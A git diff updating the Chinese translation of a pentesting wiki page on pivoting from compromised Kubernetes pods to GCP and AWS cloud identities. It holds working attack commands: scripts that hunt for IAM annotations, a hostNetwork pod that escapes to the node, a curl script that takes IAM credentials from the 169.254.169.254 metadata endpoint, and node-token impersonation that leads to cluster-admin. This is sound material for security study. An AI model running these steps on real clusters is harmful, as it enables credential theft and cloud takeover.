diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index ef618abf6..0e64f341e 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,47 +4,62 @@ ## GCP -如果您在 GCP 内运行 k8s 集群,您可能希望集群内的某个应用程序能够访问 GCP。有两种常见的方法可以实现这一点: +如果你的 k8s 集群运行在 GCP 内,你可能希望集群内运行的某些应用能访问 GCP。常见的两种做法是: -### 将 GCP-SA 密钥挂载为秘密 +### 将 GCP-SA keys 挂载为 secret -给予 **kubernetes 应用程序访问 GCP** 的一种 +一种常见的方法来给予 **kubernetes 应用访问 GCP** 的权限是: + +- 创建一个 GCP Service Account +- 为其绑定所需权限 +- 下载所创建 SA 的 json key +- 将其作为 secret 挂载到 pod 内 +- 设置 GOOGLE_APPLICATION_CREDENTIALS 环境变量,指向 json 所在路径。 + +> [!WARNING] +> 因此,作为一个 **attacker**,如果你攻陷了 pod 内的容器,你应该检查是否存在该 **env** **variable** 以及包含 GCP 凭证的 **json** **files**。 + +### 将 GSA json 关联到 KSA secret + +将 GSA 的访问权限授予 GKE cluster 的一种方式是通过如下绑定: + +- 在与您的 GKE cluster 相同的命名空间中创建一个 Kubernetes service account,使用以下命令: ```bash -Copy codekubectl create serviceaccount +kubectl create serviceaccount ``` -- 创建一个 Kubernetes Secret,包含您要授予 GKE 集群访问权限的 GCP 服务帐户的凭据。您可以使用 `gcloud` 命令行工具来完成此操作,如下例所示: +- 创建一个包含你想授予对 GKE 集群访问权限的 GCP 服务帐号凭据的 Kubernetes Secret。你可以使用 `gcloud` 命令行工具完成此操作,如下例所示: ```bash -Copy codegcloud iam service-accounts keys create .json \ +gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- 使用以下命令将 Kubernetes Secret 绑定到 Kubernetes 服务账户: +- 将 Kubernetes Secret 绑定到 Kubernetes service account,使用以下命令: ```bash -Copy codekubectl annotate serviceaccount \ +kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> 在**第二步**中,将**GSA的凭据设置为KSA的秘密**。然后,如果您可以从**GKE**集群的**内部**读取该秘密,您可以**升级到该GCP服务账户**。 +> 在 **第二步** 中将 **GSA 的凭证设为 KSA 的 secret**。然后,如果你能从 **GKE** 集群的**内部**读取该 secret,你就可以**提升为该 GCP service account**。 ### GKE Workload Identity -通过Workload Identity,我们可以配置一个[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) 作为一个[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts)。使用Kubernetes服务账户运行的Pods在访问Google Cloud API时将自动作为Google服务账户进行身份验证。 +使用 Workload Identity,我们可以将一个 [Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) 配置为充当 [Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts)。以该 Kubernetes service account 运行的 Pods 在访问 Google Cloud APIs 时会自动以 Google service account 的身份进行认证。 -启用此行为的**第一系列步骤**是**在GCP中启用Workload Identity**([**步骤**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c))并创建您希望k8s模拟的GCP SA。 +The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) and create the GCP SA you want k8s to impersonate. -- 在新集群上**启用Workload Identity** +- **在新集群上启用 Workload Identity** ```bash gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **创建/更新一个新的节点池** (Autopilot 集群不需要此操作) +- **创建/更新新的 nodepool** (Autopilot clusters 不需要此操作) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- 从 K8s 创建 **GCP 服务账户以进行 impersonate**,并赋予 GCP 权限: +- 从 K8s 创建要冒充的 **GCP Service Account** 并授予 GCP 权限: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -65,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **将GSA与KSA绑定** +- **将 GSA 与 KSA 绑定** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> 作为 K8s 内部的攻击者,您应该 **搜索 SAs**,带有 **`iam.gke.io/gcp-service-account` 注释**,因为这表明该 SA 可以访问 GCP 中的某些内容。另一个选项是尝试滥用集群中的每个 KSA 并检查它是否具有访问权限。\ -> 从 GCP 开始,枚举绑定并了解 **您在 Kubernetes 内部给予 SAs 的访问权限** 总是很有趣。 +> 作为位于 K8s 内的攻击者,你应该**搜索带有 `iam.gke.io/gcp-service-account` annotation 的 SAs**,因为这表明该 SA 可以访问 GCP 中的某些内容。另一种选择是尝试滥用集群中的每个 KSA,并检查它是否有访问权限。\ +> 在 GCP 中,枚举 bindings 并了解**你授予 Kubernetes 内 SAs 的访问权限**总是很有价值。 -这是一个脚本,用于轻松 **遍历所有 pod** 定义 **查找** 该 **注释**: +这是一个脚本,用于轻松**遍历所有 pods 的定义**,**查找**该**annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -124,11 +139,11 @@ done | grep -B 1 "gcp-service-account" ``` ## AWS -### Kiam & Kube2IAM (IAM角色用于Pods) +### Kiam & Kube2IAM (IAM role for Pods) -一种(过时的)为Pods提供IAM角色的方法是使用一个[**Kiam**](https://github.com/uswitch/kiam)或一个[**Kube2IAM**](https://github.com/jtblin/kube2iam) **服务器。** 基本上,您需要在集群中运行一个带有**特权IAM角色**的**守护进程集**。这个守护进程集将为需要的Pods提供IAM角色的访问权限。 +给 Pods 分配 IAM Roles 的一种(已过时的)方式是使用 [**Kiam**](https://github.com/uswitch/kiam) 或 [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** 基本上你需要在集群中运行一个带有 **kind of privileged IAM role** 的 **daemonset**。这个 daemonset 会负责为需要的 pods 提供对 IAM roles 的访问。 -首先,您需要配置**哪些角色可以在命名空间内访问**,您可以通过在命名空间对象内添加注释来实现: +首先你需要配置 **which roles can be accessed inside the namespace**,这可以通过在 namespace 对象内添加一个注解完成: ```yaml:Kiam kind: Namespace metadata: @@ -146,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -一旦命名空间配置了 IAM 角色,Pods 可以拥有的角色,你可以 **在每个 pod 定义中指明你想要的角色,例如**: +一旦为 namespace 配置了 Pods 可以拥有的 IAM roles,你就可以在每个 pod definition 中**像下面这样指定你想要的 role**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -156,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> 作为攻击者,如果您在 pods 或 namespaces 中发现这些注释,或者运行中的 kiam/kube2iam 服务器(可能在 kube-system 中),您可以 **冒充每个已经被 pods 使用的角色**,以及更多(如果您有访问 AWS 账户的权限,请枚举角色)。 +> 作为攻击者,如果你在 pods 或 namespaces 中 **发现这些注解**,或者发现正在运行的 kiam/kube2iam 服务器(很可能在 kube-system),你就可以 **冒充每个角色**,这些角色已经 **被 pods 使用**,甚至更多(如果你有对 AWS 账号的访问权限,可枚举这些角色)。 -#### 创建带有 IAM 角色的 Pod +#### 创建带 IAM Role 的 Pod > [!NOTE] -> 指定的 IAM 角色必须与 kiam/kube2iam 角色在同一个 AWS 账户中,并且该角色必须能够访问它。 +> 要指定的 IAM 角色必须位于与 kiam/kube2iam 角色相同的 AWS 账号中,并且该角色必须能够访问它。 ```yaml echo 'apiVersion: v1 kind: Pod @@ -177,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Role for K8s Service Accounts via OIDC +### 通过 OIDC 为 K8s Service Accounts 的 IAM Role 这是 **AWS 推荐的方式**。 -1. 首先,您需要 [为集群创建一个 OIDC 提供者](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)。 -2. 然后,您创建一个具有 SA 所需权限的 IAM 角色。 -3. 创建一个 [IAM 角色与 SA 之间的信任关系](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) 名称(或命名空间,允许角色访问命名空间中所有 SA)。 _信任关系主要检查 OIDC 提供者名称、命名空间名称和 SA 名称_。 -4. 最后,**创建一个带有注释指示角色 ARN 的 SA**,运行该 SA 的 pods 将具有 **访问角色的令牌**。**令牌**被 **写入** 文件中,路径在 **`AWS_WEB_IDENTITY_TOKEN_FILE`** 中指定(默认:`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)。 +1. 首先你需要 [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)。 +2. 然后创建一个 IAM role,并赋予该 SA 所需的权限。 +3. 创建一个 [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)(或为某些 namespace 配置,使该 namespace 下的所有 SA 都能访问该 role)。_信任关系主要会检查 OIDC provider 名称、namespace 名称和 SA 名称_。 +4. 最后,**创建一个带有注释(annotation)指明该 role ARN 的 SA**,并且使用该 SA 运行的 pods 将**能访问该 role 的 token**。该 **token** 会**写入**一个文件,路径由 **`AWS_WEB_IDENTITY_TOKEN_FILE`** 指定(默认:`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)。 ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> 作为攻击者,如果您可以枚举 K8s 集群,请检查具有 **该注释的服务帐户** 以 **升级到 AWS**。为此,只需 **exec/create** 一个 **pod**,使用其中一个 IAM **特权服务帐户** 并窃取令牌。 +> 作为攻击者,如果你能列举一个 K8s cluster,请检查是否存在带有该注解的 **service accounts with that annotation** 以便 **escalate to AWS**。要做到这一点,只需使用其中一个带有 IAM 权限的 **privileged service accounts** 来 **exec/create** 一个 **pod** 并窃取令牌。 > -> 此外,如果您在 pod 内,请检查环境变量,如 **AWS_ROLE_ARN** 和 **AWS_WEB_IDENTITY_TOKEN**。 +> 此外,如果你在 pod 内,检查像 **AWS_ROLE_ARN** 和 **AWS_WEB_IDENTITY_TOKEN** 这样的环境变量。 > [!CAUTION] -> 有时,角色的 **信任策略** 可能配置不当,而不是将 AssumeRole 访问权限授予预期的服务帐户,而是授予 **所有服务帐户**。因此,如果您能够在受控服务帐户上写入注释,您可以访问该角色。 +> 有时角色的 **Trust Policy** 可能被 **bad configured**,而不是将 **AssumeRole** 的访问权限授予预期的 **service account**,反而授予了 **all the service accounts**。因此,如果你能够在一个受控的 **service account** 上写入注解,你就能访问该 **role**。 > -> 请查看 **以下页面以获取更多信息**: +> Check the **following page for more information**: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### 查找集群中具有 IAM 角色的 Pods 和 SAs +### 在 Cluster 中查找具有 IAM Roles 的 Pods 和 SAs -这是一个脚本,可以轻松 **遍历所有 pods 和 sas** 定义 **查找** 该 **注释**: +这是一个脚本,用来轻松 **iterate over the all the pods and sas** 定义,**looking** 那个 **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -238,19 +253,26 @@ echo "" done done | grep -B 1 "amazonaws.com" ``` -### Node IAM Role +### Node IAM Role to cluster-admin -前一节讨论了如何通过 pods 盗取 IAM 角色,但请注意,K8s 集群的 **节点将是云中的一个实例**。这意味着该节点很可能会 **拥有一个新的 IAM 角色供你盗取**(_请注意,通常 K8s 集群的所有节点将具有相同的 IAM 角色,因此可能不值得尝试检查每个节点_)。 +上一节介绍了如何通过 pods 窃取 IAM Roles,但请注意,K8s 集群中的 **Node** 实际上是云中的一个 **instance**。这意味着该 Node 很可能会**拥有你可以窃取的 IAM role**(_注意通常 K8s 集群的所有 nodes 会使用相同的 IAM role,所以不一定值得去检查每个 node_)。 -然而,要访问节点的元数据端点,有一个重要的要求,你需要在节点上(ssh 会话?)或至少在同一网络中: +要访问 node 的 metadata endpoint 你需要: +- 位于一个 pod 中,并且 metadata endpoint 被配置为至少 2 个 tcp hops。这个是最常见的错误配置,因为通常集群中不同的 pods 需要访问 metadata endpoint 才不会出问题,很多公司就干脆允许集群中所有 pods 访问 metadata endpoint。 +- 位于启用了 `hostNetwork` 的 pod 中。 +- 逃逸到 node 并直接访问 metadata endpoint。 + +(注意 metadata endpoint 一直是在 169.254.169.254)。 + +要**逃逸到 node**,你可以使用下面的命令运行一个启用了 `hostNetwork` 的 pod: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### 偷取 IAM 角色令牌 +### Steal IAM Role Token -之前我们讨论了如何 **将 IAM 角色附加到 Pods**,甚至如何 **逃逸到节点以偷取实例附加的 IAM 角色**。 +之前我们讨论过如何 **attach IAM Roles to Pods**,甚至如何 **escape to the Node to steal the IAM Role**(从实例上窃取其附加的 IAM Role)。 -您可以使用以下脚本来 **偷取** 您新辛苦获得的 **IAM 角色凭证**: +你可以使用下面的脚本来 **steal** 你辛苦获得的 **IAM role credentials**: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -261,6 +283,19 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE fi fi ``` +### Privesc to cluster-admin + +总结:如果可以从 pod 访问 **EKS Node IAM role**,就可能 **compromise the full kubernetes cluster**。 + +欲了解更多信息,请查看 [this post](https://blog.calif.io/p/privilege-escalation-in-eks)。概括来说,默认分配给 EKS 节点的 IAM 角色在集群内部被映射为 `system:node`。这个角色很有价值,但受限于 kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)。 + +不过,node 总是可以 **为在该 node 内运行的 pod 中的服务账户生成令牌**。因此,如果该 node 运行着一个具有特权服务账户的 pod,node 可以为该服务账户生成令牌并用它来模拟该服务账户,例如: +```bash +kubectl --context=node1 create token -n ns1 sa-priv \ +--bound-object-kind=Pod \ +--bound-object-name=pod-priv \ +--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d +``` ## 参考文献 - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)